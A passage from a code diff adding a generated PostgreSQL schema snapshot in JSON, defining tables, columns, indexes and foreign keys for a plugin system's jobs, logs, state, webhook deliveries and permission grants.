+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
